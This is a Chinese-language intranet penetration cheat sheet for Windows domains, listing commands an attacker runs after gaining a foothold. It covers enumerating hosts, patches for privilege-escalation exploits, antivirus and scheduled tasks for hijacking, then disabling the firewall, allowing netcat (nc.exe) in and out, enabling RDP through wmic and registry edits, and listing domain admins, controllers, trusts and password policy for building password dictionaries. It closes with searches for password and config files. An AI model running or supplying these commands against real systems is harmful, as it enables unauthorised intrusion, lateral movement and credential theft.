判断当前机器是否在域内

1.查看当前⽹卡和IP信息:
ipconfig /all
如果是域,在主dns处是域名

2、查看系统详细信息
Systeminfo
域内机器能看到域的地方是一个域名,同时能看机器上打的补丁,非域机器也要用这个命令

3、查看当前登录域及域⽤户
net config workstation

4、查看域内时间
net time /domain
通过执⾏以上命令后有三种情况:
1. 存在域,当前⽤户不是域⽤户。此时会报拒绝访问。
2.存在域、当前⽤户是域⽤户。这时会正常返回域内时间。
3.不存在域。提示找不到域控制器。

本机信息搜集

1.获取本机⽹络配置信息
ipconfig /all

2.查询操作系统和版本信息
英⽂版系统⽤这条命令: systeminfo | findstr /B /C:"OS Nmae" /C:"OS Version"
中⽂版系统⽤这条命令:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"

获取到版本和补丁信息以后,如果当前权限不是system,就可以找相应的exp提权。

3.查看系统体系结构

echo %PROCESSOR_ARCHITECTURE%


4.查看安装的软件及版本、路径
wmic product get name,version

查询进程列表

1、查看当前进程列表和软件进程
tasklist
2.查看当前进程列表对应的⽤户身份
tasklist /v

3、查看当前进程是否有杀毒软件(AV)
tasklist /svc
通过执⾏完这条命令后,我们就可以知道当前有哪些软件,以及对应的 PID 号、服务名,我们还可以吧执⾏命令的 返回结果去查询是否有杀毒软件:
tasklist /svc
wmic qfe get Caption,Description,HotFixID,InstalledOn

查看计划任务 通过查看本机计划任务我们就能知道当前机器上“某个时间”会运⾏哪些软件,我们就可以利⽤这⼀点来做定时任务 劫持。
wmic startup get command,caption schtasks /query /fo LIST /v

查询补丁信息

Systeminfo
wmic qfe get Caption,Description,HotFixID,InstalledOn

查询路由表及所有可⽤接⼝的ARP缓冲表

Route print
在内网渗透中都需要用到这个
arp -a

看防⽕墙配置
netsh firewall show config

若是想修改防⽕墙配置信息就可以使⽤:
若是想要关闭防⽕墙就可以使⽤:
win 2003及之前的版本,运⾏指定程序全部连接:
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
win 2003之后的版本⽤这条:
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
允许指定程序连出,命令如下
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
允许 3389 端⼝放⾏,命令如下
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=inlocalport=3389 action=allow
⾃定义防⽕墙⽇志储存位置
netsh advfirewall set currentprofile logging filename "C:\windows\temp\fw.log"
win 2003及之前的版本⽤这条命令: netsh firewall set opmode disable win 2003之后的版本⽤这条命令:
netsh advfirewall set allprofiles state off

查询并开启远程桌⾯连接服务

REG QUERY "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber

在 Windows Server 2003 中开启 3389 端⼝

wmic path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

在 Windows Server 2008 和 Windows Server 2012 中开启 3389 端⼝

wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call setallowtsconnections 1

wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1

在 Windows 7 中开启 3389 端⼝

reg add "HKLM\SYSTEM\CURRENT\CONTROLSET\CONTROL\TERMINAL SERVER" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

域内信息搜集

搜集完本机的⼀些配置信息、IP信息、⽹卡信息、补丁信息后,我们接下来就要搜集域内的信息了,⽐如:域⽤ 户、域管理员、域控制器等信息。

查询域内⽤户
whoami /all

查看域⽤户的详细信息
假如我们要查询 mssql这个域⽤户的信息,我们就可以使⽤:
net user mssql /domain

查询域列表(如果有多个域)
net view /domain

查询域管理员列表
net group "domain admins" /domain

查看域内时间(时间服务器)
net time /domain

查看登陆本机的域管理员 这条命令会显示本地管理员和域管理员。 查看域内所有⽤户组列表 net localgroup administrators /domain

查看域内所有⽤户组列表
net group /domain

查看主域控制器
netdom query pdc


查看所有域控制器列表 ⼀个域可以有多个域控制器,通过查看域控制器列表我们就可以得到域控制器对应的机器名是多少,如果想要知道 它的 IP 是多少,我们只需要 Ping 它的机器名即可得到域控制器的 IP 地址:
net group "Domain Controllers" /domain

Ping -n 1 DC

查询域信任信息
通过查询域信任信息我们就可以知道当前有多少个域,域名是多少。
nltest /domain_trusts


查询域密码信息
通过查询域密码信息我们就可以知道当前域⽤户多久修改⼀次密码,密码策略是多少(我们就可以根据密码策略来 制定⼀份密码字典,盲⽬的⽤字典会很浪费时间)。 net accounts /domain

低权限下搜集当前机器各类密码文件

在渗透中拿到一台边缘机器,首先要将得到的机器翻个底朝天,不要直接去扫内网,通常会遇到一些比较新的机器,或者是已经把提权漏洞给修了,这时候也不要纠结去提权了,利用收集到的信息去进行更好的横向。
搜集当前机器各类敏感密码配置⽂件
dir /b /s user.*,pass.*,config.*,username.*,password.*

for 循环搜集当前机器各类敏感密码配置⽂件
for /r c:\ %i in (pass.*) do @echo %i

findstr 命令查找某个⽂件的某个字段
上⾯两条命令只是查找某个⽂件,那我们想要查找⼀个⽂件⾥有没有 user 、 pass 等字段内容,就可以使⽤这条 命令。

findstr /c:"user" /c:"pass" /si *.txt